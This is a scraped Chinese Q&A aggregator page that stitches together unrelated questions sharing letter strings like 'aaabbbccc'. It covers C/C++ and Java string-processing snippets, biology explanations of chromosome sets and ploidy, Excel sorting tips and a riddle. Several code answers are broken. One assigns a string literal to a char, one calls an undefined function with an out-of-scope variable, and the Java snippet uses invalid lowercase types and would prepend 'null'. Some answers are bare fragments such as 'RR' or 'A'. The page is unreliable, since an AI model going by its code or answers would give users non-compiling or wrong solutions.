#include <iostream>#include <string>using namespace std;int main(){char a[100];cout<<"please enter a string:"<<endl;gets(a);int t=strlen(a);for(int i=0;i<t-1;i++)for(int j=i+1;j<t;j++)if(a[i]==a[j]){for(int m=j+1;m<t;m++)a[m-1]=a[m]; t--; j--;}for(i=0;i<t;i++)cout<<a[i];cout<<endl;return 0;}//这个应该可以 思路就是把相同的字符用后面的字符代替#include <iostream>#include <string>using namespace std;int main(){char str1[100],str2[100];gets(str1);int t=strlen(str1);str2[0]=str1[0];int k=0;for(int i=1;i<t;i++)for(int j=0;j<=k;j++){if(str1[i]==str2[j]) break;else if(j==k) {k++;str2[k]=str1[i];}}str2[k+1]="";cout<<str2<<endl;}//这是另外一种方法2023-07-13 01:08:192
怎么判断染色体组?
问题一:染色体组怎么看。。。。 由于一个染色体组中无同源染色体,则同源染色体个数成为判断染色体组数即判断某个体为几倍体的主要依据。。A与A,a与a是相同基因,分列于同源染色体上,A与a,是等位基因,也分列于同源染色体上。同一字母(不论大小写)有几个就有几个同源郸色体。因此,Aa 为两个同源染色体,含两个染色体组。叫二倍体.AAaa 为4个同源染色体,含4个染色体组。叫四倍体.AAaBBbCCc 为3个同源染色体,含3个染色体组。叫三倍体。AABBCCDD是,含2个染色体组叫两倍体。AAaaBBbb 含4个染色体组,最快的判断就是看几个同源染色体个数(看加粗字母可判断) 问题二:怎么判断染色体组 细胞中的一组非同源染色体,它们在形态和功能上各不相同,但是携带着控制一种生物生长发育、遗传和变异的全部信息,这样的一组染色体,叫做一个染色体组。 一个染色体组指细胞中的一组非同源染色体,现已作为专门的术语广泛使用。H.Winkler(1920)最初提出,单倍体的一整套染色体即为一个染色体组。这一组染色体与从属于它的原生质一起应成为分类学上的一个单位。这是最先所给与染色体组的概念。木原均(1980)又赋于此概念以功能上的含义,即把各种生物为保持其生活机能协调谐和而不可或缺的一组染色体作为一个染色体组。在一个染色体组为A的二倍体生物中,体细胞与生殖细胞的染色体组分别为AA和A。单倍体的产生证明了仅一套染色体组即能维持生物的生存。在二套染色体中如其所包含的所有染色体彼此两两相同时称为同源染色体组,相反,如所有染色体都不相同,则称异源染色体。处于二者之间则为部分同源染色体。病毒的“染色体”(无组蛋白包绕,所以这种说法不够标准)是单链RNA,具有各个种的特定大小,因为决定一个种的遗传信息全部贮存在一组核酸分子中,其染色体核酸分子也就是一个染色体组(或基因组),因此,所谓多瘤病毒的染色体组,大肠杆菌的染色体组等,常常意味着就是它们各自的染色体DNA分子。 问题三:染色体组数量如何判断 将染色体按形态大小归类,每类染色体的数目也就是染色体组数量(性染色体例外)2023-07-13 01:08:261
如何将excel同列ABCABCABC排成AAABBBCCC
排序啊2023-07-13 01:08:363
AAABBBCCCDDD
RR2023-07-13 01:08:491
怎样判断多倍体是几倍体 例如`Aa AAaa AAaBBbCCc
有几个a或A就是几倍体啊! 看Aa就是二倍体,而AAaa就是四倍体了,至于AAaBBbCCc就是三倍体. 和字母的大小写没有什么关系的.2023-07-13 01:09:071
c/c++中 不使用strlen()这个函数,怎样求字符指针所指向的字符串的长度? char *p="aaabbbccc";
int mystrlen(char *s){char *sp=s;int n=0;while(*sp++){n++;}return n;}main(){char *p="aaabbbccc";printf("p string len is %d",mystrlen(p));}2023-07-13 01:09:153
二倍体,四倍体,三倍体,六倍体,分别用ABC…字母表示一下,
有多少同源染色体就是多少倍体 二倍体AabBCC 三倍体AAabBbCcc 四倍体AAaaBbBbcCCc 麻烦采纳,谢谢!2023-07-13 01:09:221
将字符串“aaaabbbcccc“转换成 4a3b4c
struct boxs{ char key;//储存字符串元素 int value;//储存字符串出现的个数} bx; //统计字符串中每个元素的个数 boxs *printItems(char *values){ const int boxSize=strlen(values); boxs *bx=new boxs[boxSize]; int bxIndex=0; bx[0].key=values[0]; bx[0].value=1; bool canAdd=true; for(int x=1,size=strlen(values);x<size;x++){ char var=values[x]; canAdd=true; for(int y=0;y<=bxIndex;y++){ //判断结构中是否包含了这个字符串如果包含累加1 if(bx[y].key==var){ bx[y].value=bx[y].value+1; canAdd=false; break; } } if(canAdd){ bx[++bxIndex].key=var; bx[bxIndex].value=1; }} //打印字符串} //程序入口用来测试 void main() { //打印结果 char *var1="aaabbbbcccddee"; boxs *bx=getCountOfItem(var1);for (int i=0;i<=bxIndex;i++){ int vl=(bx[i].value); cout<<bx[i].value; cout<<bx[i].key;}}2023-07-13 01:09:291
怎样判断多倍体是几倍体 例如`Aa AAaa AAaBBbCCc
呵呵,有几个a或A就是几倍体啊!看Aa就是二倍体,而AAaa就是四倍体了,至于AAaBBbCCc就是三倍体。和字母的大小写没有什么关系的。2023-07-13 01:09:361
AaaBBBcccDDd有几个染色体组
它有3个染色体组2023-07-13 01:09:451
AAABBBCCCDDD谜底是什么
四世同堂2023-07-13 01:09:531
怎么看几倍体
1。看相同的染色体数2.通过基因型看相同字母数如果是配子发育的都是单倍体今年刚参加高考记得蛮牢的2023-07-13 01:10:039
染色体组是什么,怎么算
细胞中的一组完整非同源染色体,它们在形态和功能上各不相同,但又互相协助,携带着控制一种生物生长、发育、遗传和变异的全部信息,这样的一组染色体,叫做一个染色体组。果蝇染色体分析:果蝇染色体组:有2个染色体组(相同的染色体有几条就有几个染色体组,XY除外)。配子染色体组:有一个染色体组。在一个染色体组为A的二倍体生物中,体细胞与生殖细胞的染色体组分别为AA和A。单倍体的产生证明了仅一套染色体组即能维持生物的生存。在二套染色体中如其所包含的所有染色体彼此两两相同时称为同源染色体组,相反,如所有染色体都不相同,则称异源染色体。处于二者之间则为部分同源染色体。扩展资料:染色体组判断方法:判断几倍体实际上是判断某个体的体细胞中的染色体组数。由于一个染色体组中无同源染色体,则同源染色体个数成为判断染色体组数即判断某个体为几倍体的主要依据。A与A,a与a是相同基因,分列于同源染色体上,A与a,是等位基因,也分列于同源染色体上。同一字母(不论大小写)有几个就有几个同源染色体。因此,Aa 为一对同源染色体,含两个染色体组,叫二倍体。AAaa 为4个同源染色体,含4个染色体组,叫四倍体。AAaBBbCCc 为3组同源染色体,含3个染色体组,叫三倍体。AABBCCDD是,含2个染色体组叫两倍体。AAaaBBbb 含4个染色体组,最快的判断就是看几个同源染色体个数(看加粗字母可判断)。参考资料:百度百科-染色体组2023-07-13 01:10:181
生物问题之染色体组数
A2023-07-13 01:10:467
excel匹配的问题。假如我有一个表有2列,列1是AAABBBCCC...,列2是A1A2A3B1B2B3C1C2C3....,
使用Vlookup公式啊2023-07-13 01:11:002
abc是字串吗
abc是字串,ab的子串:a、b、ab、/0(空串)共4个即(2+1+1)个,abc的子串:a、 b、 c、 ab、 bc 、abc、/0共(3+2+1+1)个,所以若字符串的长度为n,则子串的个数就是[n*(n+1)/2+1]个,"software"中子串的个数就是8+7+....+1+1=37个,即为37个。对于有连续相同的子串(例如:AAABBBCCC)这样的子串的计算方法是n(n+1)/2+1-重复子串2023-07-13 01:11:101
用java如何将一个字符串string=“aaabbbcccdddd”,输出为:aaa,bbb,ccc,ddd
string str="aaabbbcccddd";char[] stringArr = str.toCharArray();for (int i = 0; i < 4; i++){string strs = null;for (int j = i*3; j < (i+1)*3; j++){strs += stringArr[j];}system.out.printf(strs);}2023-07-13 01:11:172